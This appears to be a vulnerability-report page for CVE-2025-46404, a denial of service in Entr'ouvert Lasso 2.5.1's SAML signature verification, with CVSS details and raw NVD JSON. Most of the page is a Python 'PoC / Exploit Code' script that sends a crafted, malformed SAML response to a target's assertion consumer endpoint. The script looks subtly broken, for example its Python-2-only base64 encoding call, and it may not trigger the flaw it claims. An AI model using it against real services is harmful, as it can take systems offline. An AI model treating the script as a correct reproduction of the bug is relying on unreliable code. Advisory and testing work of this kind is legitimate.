Security Vulnerability Report
中文
CVE-2025-46404 CVSS 7.5 HIGH

CVE-2025-46404

Published: 2025-11-05 15:15:38
Last Modified: 2025-11-07 18:12:18

Description

A denial of service vulnerability exists in the lasso_provider_verify_saml_signature functionality of Entr'ouvert Lasso 2.5.1. A specially crafted SAML response can lead to a denial of service. An attacker can send a malformed SAML response to trigger this vulnerability.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:entrouvert:lasso:2.5.1:*:*:*:*:*:*:* - VULNERABLE
Entr'ouvert Lasso < 2.5.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import xml.etree.ElementTree as ET from lxml import etree # CVE-2025-46404 PoC - Malformed SAML Response for Lasso DoS # Target: Entr'ouvert Lasso <= 2.5.1 def generate_malformed_saml_response(): """Generate a malformed SAML response to trigger DoS in lasso_provider_verify_saml_signature""" # Create SAML Response with malformed signature elements saml_response = '''<?xml version="1.0" encoding="UTF-8"?> <samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" ID="_malformed_response_id" Version="2.0" IssueInstant="2025-01-01T00:00:00Z"> <saml:Issuer>https://attacker.example.com</saml:Issuer> <samlp:Status> <samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/> </samlp:Status> <saml:Assertion ID="_malformed_assertion_id" Version="2.0" IssueInstant="2025-01-01T00:00:00Z"> <saml:Issuer>https://attacker.example.com</saml:Issuer> <saml:Subject> <saml:NameID>[email protected]</saml:NameID> </saml:Subject> <ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#" ID="malformed_sig"> <ds:SignedInfo> <ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/> <ds:SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256"/> <ds:Reference URI="#_malformed_assertion_id"> <ds:DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"/> <!-- Malformed DigestValue - triggers parsing error --> <ds:DigestValue>INVALID_MALFORMED_DIGEST_VALUE_TOO_LONG_OR_INVALID</ds:DigestValue> </ds:Reference> </ds:SignedInfo> <ds:SignatureValue>MALFORMED_SIGNATURE_VALUE_WITH_INVALID_BASE64_DATA###</ds:SignatureValue> <!-- Malformed KeyInfo with invalid X509Data --> <ds:KeyInfo> <ds:X509Data> <ds:X509Certificate>MALFORMED_INVALID_CERT_DATA_NOT_BASE64</ds:X509Certificate> </ds:X509Data> </ds:KeyInfo> </ds:Signature> <saml:Conditions NotBefore="2025-01-01T00:00:00Z" NotOnOrAfter="2099-12-31T23:59:59Z"/> <saml:AuthnStatement AuthnInstant="2025-01-01T00:00:00Z"> <saml:AuthnContext> <saml:AuthnContextClassRef>urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport</saml:AuthnContextClassRef> </saml:AuthnContext> </saml:AuthnStatement> </saml:Assertion> </samlp:Response>''' return saml_response def exploit_cve_2025_46404(target_url): """ Exploit function to send malformed SAML response This triggers DoS in lasso_provider_verify_saml_signature """ saml_response = generate_malformed_saml_response() # Send to SAML ACS (Assertion Consumer Service) endpoint headers = { 'Content-Type': 'application/x-www-form-urlencoded', 'User-Agent': 'CVE-2025-46404 PoC' } data = { 'SAMLResponse': saml_response.encode('base64').replace('\n', ''), 'RelayState': '' } try: response = requests.post(target_url, data=data, headers=headers, timeout=10) return response.status_code, response.text except requests.exceptions.RequestException as e: return None, str(e) if __name__ == "__main__": # Target configuration target = "https://vulnerable-app.example.com/saml/acs" print("[*] CVE-2025-46404 PoC - Lasso SAML Signature Verification DoS") print(f"[*] Target: {target}") print("[*] Sending malformed SAML response...") status, response = exploit_cve_2025_46404(target) if status: print(f"[+] Response status: {status}") else: print(f"[!] Request failed: {response}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-46404", "sourceIdentifier": "[email protected]", "published": "2025-11-05T15:15:37.843", "lastModified": "2025-11-07T18:12:18.387", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A denial of service vulnerability exists in the lasso_provider_verify_saml_signature functionality of Entr&#39;ouvert Lasso 2.5.1. A specially crafted SAML response can lead to a denial of service. An attacker can send a malformed SAML response to trigger this vulnerability."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-476"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:entrouvert:lasso:2.5.1:*:*:*:*:*:*:*", "matchCriteriaId": "7177DC8A-9874-45BA-BC80-17604D8A0875"}]}]}], "references": [{"url": "https://talosintelligence.com/vulnerability_reports/TALOS-2025-2194", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://www.talosintelligence.com/vulnerability_reports/TALOS-2025-2194", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Exploit", "Third Party Advisory"]}]}}